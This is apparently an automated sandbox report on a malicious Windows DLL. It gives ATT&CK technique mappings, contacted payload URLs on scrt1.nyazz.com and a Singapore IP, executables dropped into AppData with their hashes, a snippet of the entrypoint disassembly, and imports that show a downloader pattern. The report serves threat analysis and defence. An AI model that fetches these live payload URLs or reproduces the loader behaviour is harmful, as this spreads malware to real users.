Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
7nJ9Jo78Vq.dll	24%	ReversingLabs

Source	Detection	Scanner	Label
https://scrt1.nyazz.com/Qr2	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2vp	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2.dll	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2(p	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2ahX.#	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob24o9	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/Y	0%	Avira URL Cloud	safe
https://scrt1.n	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2V	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/8	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob201	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2.sdb3	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2X	0%	Avira URL Cloud	safe
https://scrt1.nyazz.com/dfMob2Z	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scrt1.nyazz.com	118.107.29.172	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://scrt1.nyazz.com/dfMob2	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://scrt1.nyazz.com/Qr2	rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2(p	rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2V	rundll32.exe, 00000003.00000003.1793209412.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2ahX.#	rundll32.exe, 00000003.00000003.1793209412.0000000002C3C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.1793881439.0000000002C4B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob24o9	rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.n	loaddll32.exe, 00000000.00000002.1755316299.0000000000A4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.co	rundll32.exe, 00000004.00000002.1775294274.0000000002D7D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D7D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scrt1.nyazz.com/dfMob2vp	rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2.dll	rundll32.exe, 00000004.00000002.1775229439.0000000002CDA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/Y	rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/8	rundll32.exe, 00000004.00000002.1775294274.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob201	rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/	rundll32.exe, 00000003.00000002.1793881439.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1793209412.0000000002C79000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1774547255.0000000002D3A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2.sdb3	loaddll32.exe, 00000000.00000002.1755316299.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2X	rundll32.exe, 00000004.00000003.1774547255.0000000002D06000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.1775294274.0000000002D06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://scrt1.nyazz.com/dfMob2Z	rundll32.exe, 00000005.00000003.1826950943.000000000348C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.1827386328.000000000348C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
118.107.29.172	scrt1.nyazz.com	Singapore		64050	BCPL-SGBGPNETGlobalASNSG	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577415
Start date and time:	2024-12-18 13:13:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	7nJ9Jo78Vq.dll renamed because original name is a hash value
Original Sample Name:	14df3534ab6da8746147332478ce61f530e6499f071c25aa1ed03bdb69910960.dll
Detection:	MAL
Classification:	mal60.evad.winDLL@10/6@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 9 Number of non-executed functions: 73
Cookbook Comments:	Found application associated with file extension: .dll Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 7nJ9Jo78Vq.dll

Simulations

Behavior and APIs

Time	Type	Description
07:14:44	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
118.107.29.172	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
scrt1.nyazz.com	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BCPL-SGBGPNETGlobalASNSG	nrGkqbCyKP.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	9Kdid5k13f.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	SGVKcFqU08.exe	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	drivers.exe	Get hash	malicious	Unknown	Browse	27.50.63.8
	drivers.exe	Get hash	malicious	Unknown	Browse	27.50.63.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	3zhEXB7iUp.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	i4VmSW2D4u.dll	Get hash	malicious	Unknown	Browse	118.107.29.172
	noll.exe	Get hash	malicious	Stealc, Vidar	Browse	118.107.29.172
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	118.107.29.172
	duyba.lnk.download.lnk	Get hash	malicious	Unknown	Browse	118.107.29.172
	5j0fix05fy.js	Get hash	malicious	NetSupport RAT	Browse	118.107.29.172
	Setup.msi	Get hash	malicious	Vidar	Browse	118.107.29.172
	htkeUc1zJ0.exe	Get hash	malicious	Unknown	Browse	118.107.29.172

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1945600
Entropy (8bit):	6.255959026349969
Encrypted:	false
SSDEEP:	24576:vL5Ycsx/QlnytAVcPXdLwGLXGEVFvHpV63WsK5Vc39:vCxIByAU9wOGEPHbsKzU9
MD5:	C38894AAA77EE4596D010857EBA4DAD5
SHA1:	BAC7EE2FC3C04A7FAE5F67A9D510BDB5E032256E
SHA-256:	D7521F3524557BEE4DFB06311375E10310ABB54B6C7535A8239BF88C91BF4C61
SHA-512:	879353388B5CC72A9FAC40B2EE91CD802AFCD81C48BC0E8CB9D89C78E611217A2B3136FEF2FD5B75DD560865BD0A1F2AF3D8CA7AE204F0B05A769DFA936877B1
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[2]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	651264
Entropy (8bit):	6.255325603463061
Encrypted:	false
SSDEEP:	12288:v/zmhWMCYc2xFZ3/u/ZemYkyh5bGDkFUcSVc7:vL5Ycsx/QlnytAVc7
MD5:	8B0CC4BE65D4C0457479FEAB35BB959C
SHA1:	4C979478545833624433BF1FBF2B1C034337FA05
SHA-256:	333EA30AD110D24928C2356CCB9A1BAC6F83916043244D114C0D508847F9DF3D
SHA-512:	C5BC1E81AA98CD61259DD19CB422532E03D3EA096BF1F29D898C3074CEE3BA6B5945C11C9D470E448BA00718AD9D47600230E068F6CC513167A47CC9A98D81D3
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dfMob2[3]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2781184
Entropy (8bit):	6.211749935480923
Encrypted:	false
SSDEEP:	49152:vCxIByAU9wOGEPHbsKzU6Z+Lzr16qFpoX2tnO5SQUah:A82Hgfb1wXQnqS+
MD5:	168598BA3D17F2187180C06613C29196
SHA1:	7DFF9FED041F454EBF7D592E7EF72D356B8B7B8A
SHA-256:	0214D7CD3C361BAA3E3A20F79DDF9567A8C134E4026BCEE8291DF39C84412892
SHA-512:	14387020930735F01EEDB38EC84F9659C8C8369839CD2DBC163195A4BF125140564738171B452D647431730926E012D5743F54118F37DE8FCDC25725ABA649C7
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

C:\Users\user\AppData\Roaming\MyAppDataDir\k63ypx3g.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1945600
Entropy (8bit):	6.255959026349969
Encrypted:	false
SSDEEP:	24576:vL5Ycsx/QlnytAVcPXdLwGLXGEVFvHpV63WsK5Vc39:vCxIByAU9wOGEPHbsKzU9
MD5:	C38894AAA77EE4596D010857EBA4DAD5
SHA1:	BAC7EE2FC3C04A7FAE5F67A9D510BDB5E032256E
SHA-256:	D7521F3524557BEE4DFB06311375E10310ABB54B6C7535A8239BF88C91BF4C61
SHA-512:	879353388B5CC72A9FAC40B2EE91CD802AFCD81C48BC0E8CB9D89C78E611217A2B3136FEF2FD5B75DD560865BD0A1F2AF3D8CA7AE204F0B05A769DFA936877B1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

C:\Users\user\AppData\Roaming\MyAppDataDir\wHfMnupa.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	651264
Entropy (8bit):	6.255325603463061
Encrypted:	false
SSDEEP:	12288:v/zmhWMCYc2xFZ3/u/ZemYkyh5bGDkFUcSVc7:vL5Ycsx/QlnytAVc7
MD5:	8B0CC4BE65D4C0457479FEAB35BB959C
SHA1:	4C979478545833624433BF1FBF2B1C034337FA05
SHA-256:	333EA30AD110D24928C2356CCB9A1BAC6F83916043244D114C0D508847F9DF3D
SHA-512:	C5BC1E81AA98CD61259DD19CB422532E03D3EA096BF1F29D898C3074CEE3BA6B5945C11C9D470E448BA00718AD9D47600230E068F6CC513167A47CC9A98D81D3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

C:\Users\user\AppData\Roaming\MyAppDataDir\yZcEAx3i.exe

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2781184
Entropy (8bit):	6.211749935480923
Encrypted:	false
SSDEEP:	49152:vCxIByAU9wOGEPHbsKzU6Z+Lzr16qFpoX2tnO5SQUah:A82Hgfb1wXQnqS+
MD5:	168598BA3D17F2187180C06613C29196
SHA1:	7DFF9FED041F454EBF7D592E7EF72D356B8B7B8A
SHA-256:	0214D7CD3C361BAA3E3A20F79DDF9567A8C134E4026BCEE8291DF39C84412892
SHA-512:	14387020930735F01EEDB38EC84F9659C8C8369839CD2DBC163195A4BF125140564738171B452D647431730926E012D5743F54118F37DE8FCDC25725ABA649C7
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........VT..>....&.....H@.."y................@.............................@Z......K_...`... ......................................p}.Y.....}..............`v..u............}..............................'v.(...................p.}.0............................text...pG@......H@.................`..`.data....H...`@..J...N@.............@....rdata....1...D...1...D.............@..@/4...........Pv......2v.............@....pdata...u...`v..v...4v.............@..@.xdata...o....w..p....w.............@..@.bss....`....Px..........................edata..Y....p}.......x.............@..@.idata........}.......x.............@....CRT....`.....}......6x.............@....tls..........}......8x.............@....reloc........}......:x.............@..B/14...........~......(y.............@..B/29.....F.K...~...K..,y.............@..B/41.....'.......,...6..............@..B/55.....

Static File Info

General

File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.558397783294164
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7nJ9Jo78Vq.dll
File size:	270'336 bytes
MD5:	a9a78cfcb6a1523212cb41b06552b736
SHA1:	8560713395ef2f92c08b1519a91b43502502988d
SHA256:	14df3534ab6da8746147332478ce61f530e6499f071c25aa1ed03bdb69910960
SHA512:	afb4421789ac8b2561e4011f314462f6b1a2fdfe0e6086539f5af74b77e2026e728345a13a86a93f4002fac834ac1dd4084106b5ec75374608cf94482741300f
SSDEEP:	3072:7OY8i1556EJD8sAy6L4XQL3sZUJZ+ztfJgof0k9HOva8qfhkAwkF4gQa6KWLotvZ:7AiT5PDRAL3sOr5spkAwe4NaNWkVZF
TLSH:	9E448D41F5C18075E89F05300628D7365E7E7A304BA0DECBE7948E7E9E731C2A635A5E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........m...>...>...>...?...>...?T..>...?...>.M.?...>.M.?...>.M.?...>...?...>...?...>...>t..>...>...>.L.?...>.L.?...>Rich...>.......

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10012495
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67370858 [Fri Nov 15 08:37:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	82f0a612e2cd3b4adad8060f77e368b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F5B107A4167h
call 00007F5B107A48E7h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F5B107A4013h
add esp, 0Ch
pop ebp
retn 000Ch
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 10035A8Ch
mov dword ptr [ecx], 10034B58h
ret
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 10035A9Ch
mov dword ptr [ecx], 10034A70h
ret
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 10034B78h
push eax
call 00007F5B107A8011h
pop ecx
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F5B107A4116h
push 1003E0CCh
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F5B107A7F24h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F5B107A4111h
push 1003DF4Ch
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F5B107A7F07h
int3
push ebp
mov ebp, esp
push 00000000h
call dword ptr [100340A8h]
push dword ptr [ebp+08h]
call dword ptr [100340A4h]
push C0000409h
call dword ptr [100340ACh]
push eax
call dword ptr [100340B0h]
pop ebp
ret
push ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3ea90	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3eae4	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x43000	0x214c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3d590	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3d5c0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3d4d0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34000	0x1b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x32fa6	0x33000	bce381d1bfd069fac077159f82f25f40	False	0.5328967524509803	data	6.635938632300625	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xb514	0xb600	997dbfcd62e69d158c891dfcc011670d	False	0.42818509615384615	data	5.078177086183092	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x20fc	0x1400	533e7a46afd89f3d6650659d8e26f346	False	0.17734375	data	3.3000225663220912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x43000	0x214c	0x2200	c765ffe83681125d64718acebbe6fd22	False	0.7509191176470589	data	6.514575556847207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
ole32.dll	CoTaskMemFree
SHELL32.dll	SHGetKnownFolderPath
WININET.dll	InternetOpenUrlW, InternetOpenW, InternetCloseHandle, InternetReadFile
USER32.dll	MessageBoxA
KERNEL32.dll	WriteConsoleW, ReadConsoleW, HeapSize, SetStdHandle, HeapReAlloc, ReadFile, GetConsoleMode, GetConsoleOutputCP, FlushFileBuffers, GetFileAttributesW, CreateFileW, WriteFile, GetLastError, CloseHandle, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, OpenProcess, InitializeProcThreadAttributeList, GetProcessHeap, HeapAlloc, UpdateProcThreadAttribute, CreateProcessW, DeleteProcThreadAttributeList, HeapFree, FindFirstFileW, FindNextFileW, DeleteFileW, FindClose, CreateDirectoryW, Sleep, DisableThreadLibraryCalls, CreateThread, UpdateResourceW, BeginUpdateResourceW, EndUpdateResourceW, SetFilePointerEx, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, WideCharToMultiByte, GetStringTypeW, MultiByteToWideChar, EncodePointer, DecodePointer, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, LCMapStringEx, GetProcAddress, GetCPInfo, RaiseException, InterlockedFlushSList, RtlUnwind, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, GetFileType, FindFirstFileExW, 